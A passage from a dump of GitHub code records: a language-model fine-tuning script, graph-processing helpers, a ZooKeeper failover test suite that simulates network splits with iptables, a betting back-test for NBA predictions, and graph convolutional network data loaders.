concatenated_examples = {k: sum(examples[k], []) for k in examples.keys()}\n total_length = len(concatenated_examples[list(examples.keys())[0]])\n # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can\n # customize this part to your needs.\n if total_length >= block_size:\n total_length = (total_length // block_size) * block_size\n # Split by chunks of block_size.\n result = {\n k: [t[i : i + block_size] for i in range(0, total_length, block_size)]\n for k, t in concatenated_examples.items()\n }\n result[\"labels\"] = result[\"input_ids\"].copy()\n return result\n\nlm_dataset = tokenized_dataset.map(group_texts, batched=True, num_proc=num_proc)\n\n\ndata_collator = DataCollatorForLanguageModeling(tokenizer=tokenizer, mlm=False)\n\ntraining_args = TrainingArguments(\n output_dir=name+\"_\"+revision,\n evaluation_strategy=\"epoch\",\n learning_rate=2e-5,\n weight_decay=0.01,\n push_to_hub=True,\n hub_token=paths.nomi_write_token,\n per_device_train_batch_size=configuration[\"batch_size\"],\n gradient_accumulation_steps=configuration[\"gradient_accumulation_steps\"]\n)\n\ntrainer = Trainer(\n model=model,\n args=training_args,\n train_dataset=lm_dataset[\"train\"],\n eval_dataset=lm_dataset[\"test\"],\n data_collator=data_collator,\n)\n\ntrainer.train()\ntrainer.push_to_hub()\n","repo_name":"eeyu/LLMFineTuning2.156","sub_path":"FIneTuning/FtGlmExample.py","file_name":"FtGlmExample.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"344519752","text":"###Must replace each unique node string with an integer value so that struc2vec will actually work\nimport networkx as nx\nimport csv\nimport numpy as np\nimport sys\n\ndef replace_sequence_str_int(HON_dir = \"../HON_Creation/\",\n\t\t\t\t\t\t\t HON_file = \"\",\n\t\t\t\t\t\t\t reference = \"object-ref_order\",\n\t\t\t\t\t\t\t int_file = 'int-network-cell_order',\n\t\t\t\t\t\t\t MinSupport = 8, MaxOrder = 99, out_file_add = ''):\n\t\t\n\t# Adds the HON python scripts to your system directory so that they can be imported\n\tif HON_file == \"\":\n\t\tsys.path.append(HON_dir)\n\t\tfrom jianxu_main import fast_build_HON\n\t\tfast_build_HON(MinSupport = MinSupport, MaxOrder= MaxOrder, Freq = False)\t\n\t\t\n\t\t# first create a list with every object id\n\t\tHON_file = 'network-cell-maxorder-'+str(MaxOrder)+ \"MinSupport-\"+ str(MinSupport) +str(out_file_add) +'.csv'\n\t\n\treference_csv = reference + str(MaxOrder) + \".csv\"\n\tint_file = int_file + str(MaxOrder) + \".csv\"\n\tnetwork_data = nx.read_weighted_edgelist(HON_file, nodetype=str)\n\t\n\t\n\tobjects = []\n\tfor line in network_data.edges(data=True):\n\t\tnodeleft = line[0]\n\t\tnoderight = line[1]\n\t\tobjects.append(nodeleft)\n\t\tobjects.append(noderight)\n\t\n\t# identify only unique object ids\n\tobject_types = list(set(objects))\n\t\n\t# make a dictionary with key:value pairs of object_id : ref_number\n\tobject_ref = {}\n\tfor index in range(len(object_types)):\n\t\tobject_ref[object_types[index]] = str(index)\n\t\n\t# now, rewrite the edgelist using the object_ref numbers\n\t\n\tint_data = []\n\tfor line in network_data.edges(data=True):\n\t\tnodeleft = line[0]\n\t\tnodeleft_int = object_ref[nodeleft]\n\t\tnoderight = line[1]\n\t\tnoderight_int = object_ref[noderight]\n\t\tweight = line[2][\"weight\"]\n\t\tnewline = [nodeleft_int, noderight_int, weight]\n\t\tint_data.append(newline)\n\t\n\twith open(reference_csv, 'w') as csv_file:\n\t\twriter = csv.writer(csv_file)\n\t\tfor key, value in object_ref.items():\n\t\t\twriter.writerow([key, value])\n\t\n\twith open(int_file, 'w') as csv_file:\n\t\twriter = csv.writer(csv_file)\n\t\tfor key, value, weight in int_data:\n\t\t\twriter.writerow([key, value, weight])\n","repo_name":"bonomali/DISC_REU_2018","sub_path":"Data_analysis/classifying_nodes/replace_sequence_str_int.py","file_name":"replace_sequence_str_int.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28683360312","text":"from tiden import with_setup, tiden_assert\nfrom tiden_gridgain.piclient.loading import TransactionalLoading\nfrom tiden_gridgain.piclient.piclient import PiClient\nfrom suites.snapshots.ult_utils import UltimateUtils\nfrom tiden.util import *\nfrom tiden.tidenexception import TidenException\n\nfrom enum import Enum\n\n\nclass ZkScenarios(Enum):\n stop_leader = 'stop leader node'\n stop_follower = 'stop follower node'\n stop_leader_follower = 'stop leader and follower nodes'\n split_leader_follower = 'split leader and follower nodes'\n split_all_nodes = 'split all ZK nodes'\n\n\nclass TestZookeeperPmi(UltimateUtils):\n no_idle_verify_conflicts_msg = 'idle_verify check has finished, no conflicts have been found'\n\n def setup(self):\n super().setup()\n self.logger = get_logger('tiden')\n self.logger.set_suite('[TestZookeeperPmi]')\n\n def setup_testcase(self):\n self.iptables_clear()\n super().setup_testcase()\n\n def teardown_testcase(self):\n super().teardown_testcase()\n self.iptables_clear()\n\n def assert_no_errors_in_utility_output(self, tx_check=False, reverse=False):\n\n if tx_check:\n self.cu.control_utility('--tx', reverse=reverse)\n tiden_assert('Error' not in self.cu.latest_utility_output, 'Error found in control.sh utility output')\n\n self.cu.control_utility('--cache', 'idle_verify', reverse=reverse)\n tiden_assert(self.no_idle_verify_conflicts_msg in self.cu.latest_utility_output, 'No conflicts have been found')\n\n def split_nodes(self, first_hosts_list, second_hosts_list):\n log_print('Drop connection between groups:\\n1: {}\\n2: {}'.format(first_hosts_list, second_hosts_list))\n output = self.ignite.ssh.exec(self.make_server_disconnect(first_hosts_list, second_hosts_list))\n log_print('Result - {}'.format(output))\n\n def kill_zk_node_with_role(self, roles):\n \"\"\"\n Kill ZK node with particular role (leader or follower)\n :param roles:\n :return:\n \"\"\"\n if not isinstance(roles, list):\n roles = [roles]\n\n for role in roles:\n log_print('Going to kill ZK node with role {}'.format(role), color='debug')\n self.zoo.kill_node(self.zoo.get_zookeeper_specific_role(role))\n\n def split_zookeeper_nodes(self, scenario):\n \"\"\"\n Emulate network problem on zookeeper cluster\n :param scenario:\n leader - disconnect leader from other node\n all - disconnect each node from other\n \"\"\"\n if scenario == 'leader':\n self.make_zookeeper_disconnect_from_other_node(self.zoo.get_zookeeper_specific_role('leader'))\n elif scenario == 'all':\n for node in self.zoo.nodes.keys():\n self.make_zookeeper_disconnect_from_other_node(node)\n else:\n TidenException('Unexpected value {} passed to scenario split_zookeepers_nodes'.format(scenario))\n\n def make_zookeeper_disconnect_from_other_node(self, node_id):\n def zookeeper_iptables_rule(node_to, node_from):\n zoo_node_to = self.zoo.nodes[node_to]\n zoo_node_from = self.zoo.nodes[node_from]\n return self.iptables_rule(host_from=zoo_node_from['host'], host_to=zoo_node_to['host'],\n port_to='2881:3888', multiple=True)\n\n log_print('Going to disconnect node {} from other nodes with iptable rule'.format(node_id), color='green')\n command = 'date'\n host = self.zoo.nodes[node_id]['host']\n for node in self.zoo.nodes.keys():\n if node != node_id:\n command += ';' + zookeeper_iptables_rule(node_id, node)\n log_print('host: {} exec command: {}'.format(host, command), color='debug')\n log_print(self.ssh.exec_on_host(self.zoo.nodes[node_id]['host'], [command]))\n\n def get_server_connections(self):\n connection = {}\n alive_nodes = self.ignite.get_alive_default_nodes()\n for node, node_value in self.ignite.nodes.items():\n if node in alive_nodes:\n connection[node] = [node_value['host'], node_value['communication_port']]\n return connection\n\n def make_server_disconnect(self, first, second):\n \"\"\"\n Func for generate network rules between first and second group\n for each node in first\n for each node in second\n make rule for first nodes\n for each node in second\n for each node in first\n make rule for second node\n :param first: dict nodes in first group\n :param second: dict nodes in second group\n :return: network rules\n \"\"\"\n split_command = {}\n for node_first in first.values():\n if split_command.get(node_first[0]) is None:\n split_command[node_first[0]] = []\n for node_second in second.values():\n split_command[node_first[0]] = [\n '{};{}'.format(self.iptables_rule(node_second[0], node_first[0], node_first[1]),\n ''.join(split_command[node_first[0]]))]\n for node_second in second.values():\n if split_command.get(node_second[0]) is None:\n split_command[node_second[0]] = []\n for node_first in first.values():\n split_command[node_second[0]] = [\n '{};{}'.format(self.iptables_rule(node_first[0], node_second[0], node_second[1]),\n ''.join(split_command[node_second[0]]))]\n log_print('iptables rules to split nodes:\\n{}'.format(split_command), color='debug')\n return split_command\n\n def iptables_rule(self, host_from, host_to, port_to, multiple=False):\n if not multiple:\n cmd = 'sudo iptables -I INPUT 1 -p tcp -s {} -d {} --dport {} -j DROP'.format(host_from, host_to, port_to)\n else:\n cmd = 'sudo iptables -I INPUT 1 -p tcp -s {} -d {} --match multiport --dports {} -j DROP'.format(\n host_from, host_to, port_to)\n return cmd\n\n def iptables_clear(self):\n command_clear = \"sudo iptables -L INPUT -n --line-number | awk '{ print $1 \\\" \\\" $5 }' | grep 172.25.1 | \" \\\n \"awk '{print $1}' | sort -n -r | xargs -I'{}' sudo iptables -D INPUT {}\"\n log_print(command_clear, color='debug')\n for host in list(set(self.config['environment']['server_hosts'] +\n self.config['environment']['client_hosts'] +\n self.config['environment']['zookeeper_hosts'])):\n output = self.ssh.exec_on_host(host, [command_clear])\n log_print(output, color='debug')\n\n @test_case_id('51663')\n @attr('zookeeper_failover')\n @require(min_zookeeper_node=3)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_kill_leader_zookeeper_node(self):\n \"\"\"\n Test based on scenario when leader zookeeper node stopped.\n Expected result: Nothing will change in cluster working process.\n \"\"\"\n self.zookeeper_fail_test(scenario=ZkScenarios.stop_leader)\n\n @test_case_id('51664')\n @attr('zookeeper_failover')\n @require(min_zookeeper_node=3)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_kill_follower_zookeeper_node(self):\n \"\"\"\n Test based on scenario when follower zookeeper node stopped.\n Expected result: Nothing will change in cluster working process.\n \"\"\"\n self.zookeeper_fail_test(scenario=ZkScenarios.stop_follower)\n\n @test_case_id('51665')\n @attr('zookeeper_failover')\n @require(min_zookeeper_node=3)\n @require(min_zookeeper_hosts=3)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_split_leader_and_followers(self):\n \"\"\"\n Test based on scenario when leader zookeeper node lost connection to other zookeeper nodes.\n Expected result: Nothing will change in cluster working process.\n \"\"\"\n self.zookeeper_fail_test(scenario=ZkScenarios.split_leader_follower)\n\n @test_case_id('51666')\n @attr('zookeeper_failover')\n @require(min_zookeeper_node=3)\n @require(min_zookeeper_hosts=3)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_split_all_zookeeper_node(self):\n \"\"\"\n Test based on scenario when each zookeeper node lost connect to other zookeeper node (there will be no quorum).\n Expected result: All cluster nodes will get segmentation.\n \"\"\"\n self.zookeeper_fail_test(scenario=ZkScenarios.split_all_nodes, expecting_broken_cluster=True)\n\n @test_case_id('201855')\n @attr('zookeeper_failover')\n @require(min_zookeeper_node=3)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_kill_leader_and_follower_zookeeper_node(self):\n \"\"\"\n Test based on scenario when leader and follower zookeeper node stopped (there will be no quorum).\n Expected result: All cluster nodes will get segmentation.\n \"\"\"\n self.zookeeper_fail_test(scenario=ZkScenarios.stop_leader_follower, expecting_broken_cluster=True)\n\n def zookeeper_fail_test(self, scenario, expecting_broken_cluster=False):\n node_connection = self.get_server_connections()\n try:\n with PiClient(self.ignite, self.get_client_config()):\n with TransactionalLoading(self, skip_consistency_check=True):\n util_sleep_for_a_while(10, msg='Wait until load started')\n self.zookeeper_fail_scenario(scenario)\n self.su.snapshot_utility('SNAPSHOT', '-type=full')\n self.ignite.kill_node(2)\n util_sleep_for_a_while(60, msg='Wait after zookeeper issue')\n\n self.ignite.start_node(2)\n\n for node_id in node_connection.keys():\n tiden_assert(self.ignite.check_node_is_alive(node_id),\n \"Node {} is expected to be alive\".format(node_id))\n if expecting_broken_cluster:\n tiden_assert(False, 'split up all zookeeper host expected to broke cluster')\n\n except Exception as e:\n if expecting_broken_cluster:\n util_sleep_for_a_while(60, msg='Wait all node segmented')\n for node_id in node_connection.keys():\n tiden_assert(not self.ignite.check_node_is_alive(node_id),\n \"Node {} is expected to be dead\".format(node_id))\n else:\n raise e\n\n def zookeeper_fail_scenario(self, scenario):\n zk_scenario_to_action_mapper = {\n ZkScenarios.stop_leader: {\n 'action': self.kill_zk_node_with_role,\n 'node': 'leader'\n },\n ZkScenarios.stop_follower: {\n 'action': self.kill_zk_node_with_role,\n 'node': 'follower'\n },\n ZkScenarios.stop_leader_follower: {\n 'action': self.kill_zk_node_with_role,\n 'node': ['follower', 'leader']\n },\n ZkScenarios.split_leader_follower: {\n 'action': self.split_zookeeper_nodes,\n 'node': 'leader'\n },\n ZkScenarios.split_all_nodes: {\n 'action': self.split_zookeeper_nodes,\n 'node': 'all'\n }\n }\n\n zk_scenario_action = zk_scenario_to_action_mapper.get(ZkScenarios(scenario))\n\n if zk_scenario_action:\n zk_scenario_action.get('action')(zk_scenario_action.get('node'))\n else:\n raise TidenException('Could not find scenario-action mapping for scenario {}'.format(scenario))\n\n @test_case_id('51660')\n @attr('server_network_split')\n @require(min_server_hosts=4)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_topology_split_50_50(self):\n \"\"\"\n Test based on network scenario with split cluster on 50/50 proportions\n Expecting result: all nodes in the segment without coordinator should be failed with communication error\n resolver cause of SEGMENTED reason.\n \"\"\"\n connection = self.get_server_connections()\n first_hosts_list = dict(list(connection.items())[:len(connection.keys()) // 2])\n second_hosts_list = dict(list(connection.items())[len(connection.keys()) // 2:])\n self.server_segmentation_emulate(first_hosts_list, second_hosts_list)\n self.server_check_cluster_behaviour(second_hosts_list)\n\n @test_case_id('51661')\n @attr('server_network_split')\n @require(min_server_hosts=3)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_topology_split_small_big(self):\n \"\"\"\n Test based on network scenario with split cluster on 40/60 proportions\n Expecting result: all nodes in the small segment should be failed with communication error\n resolver cause of SEGMENTED reason.\n \"\"\"\n connection = self.get_server_connections()\n host_count = int(len(self.config['environment']['server_hosts']) * 0.4)\n if host_count < 1:\n host_count = 1\n node_count = host_count * self.config['environment']['servers_per_host']\n first_hosts_list = dict(list(connection.items())[:node_count])\n second_hosts_list = dict(list(connection.items())[node_count:])\n self.server_segmentation_emulate(first_hosts_list, second_hosts_list, reverse=True)\n self.server_check_cluster_behaviour(first_hosts_list)\n\n @test_case_id('51662')\n @attr('server_network_split')\n @require(min_server_hosts=3)\n @with_setup(setup_testcase, teardown_testcase)\n def test_zookeeper_topology_split_custom(self):\n \"\"\"\n Test based on network scenario with split cluster 25% part with other 25% part, but both of them safe\n connection to other 50% of the cluster.\n Expecting result:\n \"\"\"\n connection = self.get_server_connections()\n host_count = int(len(self.config['environment']['server_hosts']) * 0.25)\n if host_count < 1:\n host_count = 1\n node_count = host_count * self.config['environment']['servers_per_host']\n half_hosts_list = dict(list(connection.items())[:(node_count * 2)])\n first_hosts_list = dict(list(half_hosts_list.items())[:node_count])\n second_hosts_list = dict(list(half_hosts_list.items())[node_count:])\n self.server_segmentation_emulate(first_hosts_list, second_hosts_list, reverse=True)\n self.server_check_cluster_behaviour(first_hosts_list)\n\n def server_segmentation_emulate(self, first_hosts_list, second_hosts_list, reverse=False):\n try:\n self.iptables_clear()\n\n self.assert_no_errors_in_utility_output()\n\n with PiClient(self.ignite, self.get_client_config()):\n with TransactionalLoading(self, skip_consistency_check=True):\n util_sleep_for_a_while(10, msg='Wait until load started')\n self.split_nodes(first_hosts_list, second_hosts_list)\n util_sleep_for_a_while(90, msg='Wait after network issue')\n util_sleep_for_a_while(5, msg='Wait after load')\n\n self.assert_no_errors_in_utility_output(tx_check=True, reverse=reverse)\n\n finally:\n self.iptables_clear()\n\n def server_check_cluster_behaviour(self, node_segmented_group):\n \"\"\"\n Func got expected segmented group:\n 1. check that all nodes in this group are dead\n 2. start all these nodes\n 3. wait rebalance timeout\n 4. check there was no data corruption:\n - call idle_verify\n - try to do some loading\n - call idle_verify again and check transactions\n :param node_segmented_group: group of nodes expected to be dead\n \"\"\"\n # check all nodes are dead\n for node_id in node_segmented_group.keys():\n tiden_assert(not self.ignite.check_node_is_alive(node_id),\n \"Node {} is expected to be dead\".format(node_segmented_group.get(node_id)))\n\n second_hosts_node_ids = [int(node) for node in node_segmented_group.keys()]\n\n # start all nodes and wait for rebalance completed\n self.ignite.start_nodes(*second_hosts_node_ids, force=True)\n util_sleep_for_a_while(90, msg='Wait rebalance timeout')\n\n # check idle verify does not return any errors\n self.assert_no_errors_in_utility_output()\n\n # check with some loading\n with PiClient(self.ignite, self.get_client_config()):\n with TransactionalLoading(self, skip_consistency_check=True):\n util_sleep_for_a_while(15, msg='Little load')\n\n util_sleep_for_a_while(5, msg='Wait after load')\n\n self.assert_no_errors_in_utility_output(tx_check=True)\n\n","repo_name":"mshonichev/tiden_gridgain_examples","sub_path":"suites/zookeeper/test_zookeeper_pmi.py","file_name":"test_zookeeper_pmi.py","file_ext":"py","file_size_in_byte":17045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37106422804","text":"from itertools import permutations\n\nn=int(input())\nnums=list(map(int,input().split()))\nresult=0\nnum_case=permutations(nums,n)\nfor i in list(num_case):\n n_sum=0\n for j in range(len(i)-1):\n n_sum+=abs(i[j]-i[j+1])\n result=max(result,n_sum)\n\nprint(result)","repo_name":"styughjvbn/Algorithm_study","sub_path":"week31-40/week37/298_10819.py","file_name":"298_10819.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73059780890","text":"from keras.models import load_model\nimport keras.backend as K\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\n\n\ndef main():\n ##LOADING DATA\n bin_path = str(\"betting_8\")\n csv_data = \"bin/7/games2019_with-preds.csv\"\n df=pd.read_csv(csv_data,header=0, sep=';')\n y = df.pop('win')\n home_odd = df['home_odd']\n visitor_odd = df['visitor_odd']\n X = df\n\n ##LOADING MODELS\n # k_near = pickle.load(open(\"model/\"+bin_path+\"/k-nearest.model\", 'rb'))\n # l_regression = pickle.load(open(\"model/\"+bin_path+\"/logisitic-regression.model\", 'rb'))\n # n_bayes = pickle.load(open(\"model/\"+bin_path+\"/naive_bayes.model\", 'rb'))\n # svm = pickle.load(open(\"model/\"+bin_path+\"/svm.model\", 'rb'))\n # n_network = load_model(\"model/\"+bin_path+\"/neural-network.h5\")\n n_network = load_model(\"model/\"+bin_path+\"/odds_loss.h5\", compile=False)\n # n_network.compile(optimizer='Nadam', loss=odds_loss)\n\n print(n_network)\n\n summ = 0\n summ_all_games = 0\n games = 0\n plot_data = []\n plot_0 = []\n plot_all_games = []\n for index, row in X.iterrows():\n \n # a = predict_from_model(k_near,[row])\n # b = predict_from_model(l_regression,[row])\n # c = predict_from_model(svm,[row])\n # d = predict_from_model(n_bayes,[row])\n e = predict_from_model(n_network,np.array([row]))[0]\n if(e[0] >0.5) :\n summ -= 10\n games +=1\n if(y[index] == 1):\n summ += 10* home_odd[index]\n if(row['home_odd'] < row['visitor_odd']) :\n summ_all_games -= 10\n if(y[index] == 1):\n summ_all_games += 10* home_odd[index]\n\n if(row['home_odd'] > row['visitor_odd']) :\n summ_all_games -= 10\n if(y[index] == 0):\n summ_all_games += 10* visitor_odd[index]\n if(e[1] > 0.5) :\n summ -= 10\n games += 1\n if(y[index] == 0):\n summ += 10* visitor_odd[index]\n if(row['home_odd'] < row['visitor_odd']) :\n summ_all_games -= 10\n if(y[index] == 1):\n summ_all_games += 10* home_odd[index]\n\n if(row['home_odd'] > row['visitor_odd']) :\n summ_all_games -= 10\n if(y[index] == 0):\n summ_all_games += 10* visitor_odd[index]\n \n \n if(index>800) &(index<837):\n summ += 1\n plot_all_games.append(summ_all_games)\n plot_data.append(summ)\n plot_0.append(0)\n print(summ)\n print(index)\n print(\"final: \",summ, \"games : \", games, 'betting on every_game:', summ_all_games)\n plt.plot(plot_data)\n plt.plot(plot_0)\n # plt.plot(plot_all_games)\n plt.show()\n\n\n\n\ndef predict_from_model(model, data):\n result = model.predict(data) \n return result\n\n\ndef odds_from_sklearn(model, data):\n loaded_model = pickle.load(open(model, 'rb'))\n df=pd.read_csv(data,header=0, sep=';')\n y = df.pop('win')\n home_odd = df.pop('home_odd')\n visitor_odd = df.pop('visitor_odd')\n X = df\n summ = 0\n for index, row in X.iterrows():\n result = loaded_model.score([row], [y[index]])\n summ -= 1\n if(result == 1):\n if(y[index] ==1):\n summ += home_odd[index]\n else:\n summ += visitor_odd[index]\n\n # print(result)\n \n return summ\n\ndef odds_from_neural_net(model,data):\n model = load_model(model)\n df=pd.read_csv(data,header=0, sep=';')\n y = df.pop('win')\n home_odd = df.pop('home_odd')\n visitor_odd = df.pop('visitor_odd')\n X = df\n\n model.compile(optimizer='adam',loss='binary_crossentropy', metrics=['accuracy']) \n\n summ = 0 \n for index, row in X.iterrows():\n print(index)\n result = model.predict(np.array([row])) \n print(result, y[index])\n if(result>= 0.9) | (result <0.1):\n summ -= 1\n if(result >= 0.9):\n if(y[index] == 1):\n summ += home_odd[index]\n if(result < 0.1):\n if(y[index] == 0):\n summ += visitor_odd[index]\n return summ\n\n\n\nmain()\n\n","repo_name":"corentinbranchereau/NBA-predictions","sub_path":"src/data_prediction/predict_with_odds.py","file_name":"predict_with_odds.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"8546606820","text":"import numpy as np\nimport pickle as pkl\nimport networkx as nx\nimport scipy.sparse as sp\nfrom scipy.sparse.linalg.eigen.arpack import eigsh\nimport sys\nimport re\n\n\n# 处理index文件并返回index矩阵\ndef parse_index_file(filename):\n \"\"\"Parse index file.\"\"\"\n index = []\n for line in open(filename):\n index.append(int(line.strip()))\n return index\n\n\n# 创建 mask 并返回mask矩阵\ndef sample_mask(idx, l):\n \"\"\"Create mask.\"\"\"\n mask = np.zeros(l)\n mask[idx] = 1\n return np.array(mask, dtype=np.bool)\n\n\n# 读取数据\ndef load_data(dataset_str):\n \"\"\"\n Loads input data from gcn/data directory\n\n ind.dataset_str.x => the feature vectors of the training instances as scipy.sparse.csr.csr_matrix object;\n ind.dataset_str.tx => the feature vectors of the test instances as scipy.sparse.csr.csr_matrix object;\n ind.dataset_str.allx => the feature vectors of both labeled and unlabeled training instances\n (a superset of ind.dataset_str.x) as scipy.sparse.csr.csr_matrix object;\n ind.dataset_str.y => the one-hot labels of the labeled training instances as numpy.ndarray object;\n ind.dataset_str.ty => the one-hot labels of the test instances as numpy.ndarray object;\n ind.dataset_str.ally => the labels for instances in ind.dataset_str.allx as numpy.ndarray object;\n ind.dataset_str.graph => a dict in the format {index: [index_of_neighbor_nodes]} as collections.defaultdict\n object;\n ind.dataset_str.test.index => the indices of test instances in graph, for the inductive setting as list object.\n\n All objects above must be saved using python pickle module.\n\n :param dataset_str: Dataset name\n :return: All data input files loaded (as well the training/test data).\n \"\"\"\n names = ['x', 'y', 'tx', 'ty', 'allx', 'ally', 'graph']\n objects = []\n for i in range(len(names)):\n with open(\"data/ind.{}.{}\".format(dataset_str, names[i]), 'rb') as f:\n if sys.version_info > (3, 0):\n objects.append(pkl.load(f, encoding='latin1'))\n else:\n objects.append(pkl.load(f))\n\n x, y, tx, ty, allx, ally, graph = tuple(objects)\n test_idx_reorder = parse_index_file(\n \"data/ind.{}.test.index\".format(dataset_str))\n test_idx_range = np.sort(test_idx_reorder)\n print(x.shape, y.shape, tx.shape, ty.shape, allx.shape, ally.shape)\n\n # training nodes are training docs, no initial features\n # print(\"x: \", x)\n # test nodes are training docs, no initial features\n # print(\"tx: \", tx)\n # both labeled and unlabeled training instances are training docs and words\n # print(\"allx: \", allx)\n # training labels are training doc labels\n # print(\"y: \", y)\n # test labels are test doc labels\n # print(\"ty: \", ty)\n # ally are labels for labels for allx, some will not have labels, i.e., all 0\n # print(\"ally: \\n\")\n # for i in ally:\n # if(sum(i) == 0):\n # print(i)\n # graph edge weight is the word co-occurence or doc word frequency\n # no need to build map, directly build csr_matrix\n # print('graph : ', graph)\n\n if dataset_str == 'citeseer':\n # Fix citeseer dataset (there are some isolated nodes in the graph)\n # Find isolated nodes, add them as zero-vecs into the right position\n test_idx_range_full = range(\n min(test_idx_reorder), max(test_idx_reorder) + 1)\n # sp.lil_matrix LIL(Row-Based Linked List Format)-基于行的链表格式\n tx_extended = sp.lil_matrix((len(test_idx_range_full), x.shape[1]))\n tx_extended[test_idx_range - min(test_idx_range), :] = tx\n tx = tx_extended\n ty_extended = np.zeros((len(test_idx_range_full), y.shape[1]))\n ty_extended[test_idx_range - min(test_idx_range), :] = ty\n ty = ty_extended\n\n features = sp.vstack((allx, tx)).tolil()\n features[test_idx_reorder, :] = features[test_idx_range, :]\n adj = nx.adjacency_matrix(nx.from_dict_of_lists(graph))\n\n labels = np.vstack((ally, ty))\n labels[test_idx_reorder, :] = labels[test_idx_range, :]\n # print(len(labels))\n\n idx_test = test_idx_range.tolist()\n # print(idx_test)\n idx_train = range(len(y))\n idx_val = range(len(y), len(y) + 500)\n\n train_mask = sample_mask(idx_train, labels.shape[0])\n val_mask = sample_mask(idx_val, labels.shape[0])\n test_mask = sample_mask(idx_test, labels.shape[0])\n\n y_train = np.zeros(labels.shape)\n y_val = np.zeros(labels.shape)\n y_test = np.zeros(labels.shape)\n y_train[train_mask, :] = labels[train_mask, :]\n y_val[val_mask, :] = labels[val_mask, :]\n y_test[test_mask, :] = labels[test_mask, :]\n\n return adj, features, y_train, y_val, y_test, train_mask, val_mask, test_mask\n\n\ndef load_corpus(dataset_str):\n \"\"\"\n Loads input corpus from gcn/data directory\n\n ind.dataset_str.x => the feature vectors of the training docs as scipy.sparse.csr.csr_matrix object;\n ind.dataset_str.tx => the feature vectors of the test docs as scipy.sparse.csr.csr_matrix object;\n ind.dataset_str.allx => the feature vectors of both labeled and unlabeled training docs/words\n (a superset of ind.dataset_str.x) as scipy.sparse.csr.csr_matrix object;\n ind.dataset_str.y => the one-hot labels of the labeled training docs as numpy.ndarray object;\n ind.dataset_str.ty => the one-hot labels of the test docs as numpy.ndarray object;\n ind.dataset_str.ally => the labels for instances in ind.dataset_str.allx as numpy.ndarray object;\n ind.dataset_str.adj => adjacency matrix of word/doc nodes as scipy.sparse.csr.csr_matrix object;\n ind.dataset_str.train.index => the indices of training docs in original doc list.\n\n All objects above must be saved using python pickle module.\n\n :param dataset_str: Dataset name\n :return: All data input files loaded (as well the training/test data).\n \"\"\"\n\n names = ['x', 'y', 'tx', 'ty', 'allx', 'ally', 'adj']\n objects = []\n for i in range(len(names)):\n with open(\"data/ind.{}.{}\".format(dataset_str, names[i]), 'rb') as f:\n if sys.version_info > (3, 0):\n objects.append(pkl.load(f, encoding='latin1'))\n else:\n objects.append(pkl.load(f))\n\n x, y, tx, ty, allx, ally, adj = tuple(objects)\n\n # 转化成tuple\n print(x.shape, y.shape, tx.shape, ty.shape, allx.shape, ally.shape)\n # 将allx和tx叠起来并转化成LIL格式的feature,即输入一张整图\n features = sp.vstack((allx, tx)).tolil()\n labels = np.vstack((ally, ty))\n print(len(labels))\n\n train_idx_orig = parse_index_file(\n \"data/{}.train.index\".format(dataset_str))\n train_size = len(train_idx_orig)\n\n val_size = train_size - x.shape[0]\n test_size = tx.shape[0]\n\n idx_train = range(len(y))\n idx_val = range(len(y), len(y) + val_size)\n idx_test = range(allx.shape[0], allx.shape[0] + test_size)\n\n # 训练mask:idx_train=[0,len(y))范围的是True,后面的是False\n train_mask = sample_mask(idx_train, labels.shape[0])\n val_mask = sample_mask(idx_val, labels.shape[0])\n test_mask = sample_mask(idx_test, labels.shape[0])\n\n y_train = np.zeros(labels.shape)\n y_val = np.zeros(labels.shape)\n y_test = np.zeros(labels.shape)\n\n # 替换了true位置\n y_train[train_mask, :] = labels[train_mask, :]\n y_val[val_mask, :] = labels[val_mask, :]\n y_test[test_mask, :] = labels[test_mask, :]\n\n # 运算symmetric adjacency matrix\n # 运算为 symmetric adjacency matrix的格式,具体需要参阅原论文与代码搞懂此矩阵到底如何得来的。\n adj = adj + adj.T.multiply(adj.T > adj) - adj.multiply(adj.T > adj)\n\n return adj, features, y_train, y_val, y_test, train_mask, val_mask, test_mask, train_size, test_size\n\n\ndef f1_np(y_true, y_pred):\n \"\"\"F1 metric.\n Computes the micro_f1 and macro_f1, metrics for multi-label classification of\n how many relevant items are selected.\n \"\"\"\n true_positives = np.sum(np.round(np.clip(y_true * y_pred, 0, 1)), axis=0)\n predicted_positives = np.sum(np.round(np.clip(y_pred, 0, 1)), axis=0)\n possible_positives = np.sum(np.round(np.clip(y_true, 0, 1)), axis=0)\n\n \"\"\"Macro_F1 metric.\n \"\"\"\n precision = true_positives / (predicted_positives + 1e-8)\n recall = true_positives / (possible_positives + 1e-8)\n macro_f1 = np.mean(2 * precision * recall / (precision + recall + 1e-8))\n\n \"\"\"Micro_F1 metric.\n \"\"\"\n precision = np.sum(true_positives) / np.sum(predicted_positives)\n recall = np.sum(true_positives) / np.sum(possible_positives)\n micro_f1 = 2 * precision * recall / (precision + recall + 1e-8)\n\n return micro_f1, macro_f1\n\n\n# 将稀疏矩sparse_mx阵转换成tuple格式并返回\ndef sparse_to_tuple(sparse_mx):\n \"\"\"Convert sparse matrix to tuple representation.\"\"\"\n\n def to_tuple(mx):\n if not sp.isspmatrix_coo(mx):\n mx = mx.tocoo()\n coords = np.vstack((mx.row, mx.col)).transpose()\n values = mx.data\n shape = mx.shape\n return coords, values, shape\n\n if isinstance(sparse_mx, list):\n for i in range(len(sparse_mx)):\n sparse_mx[i] = to_tuple(sparse_mx[i])\n 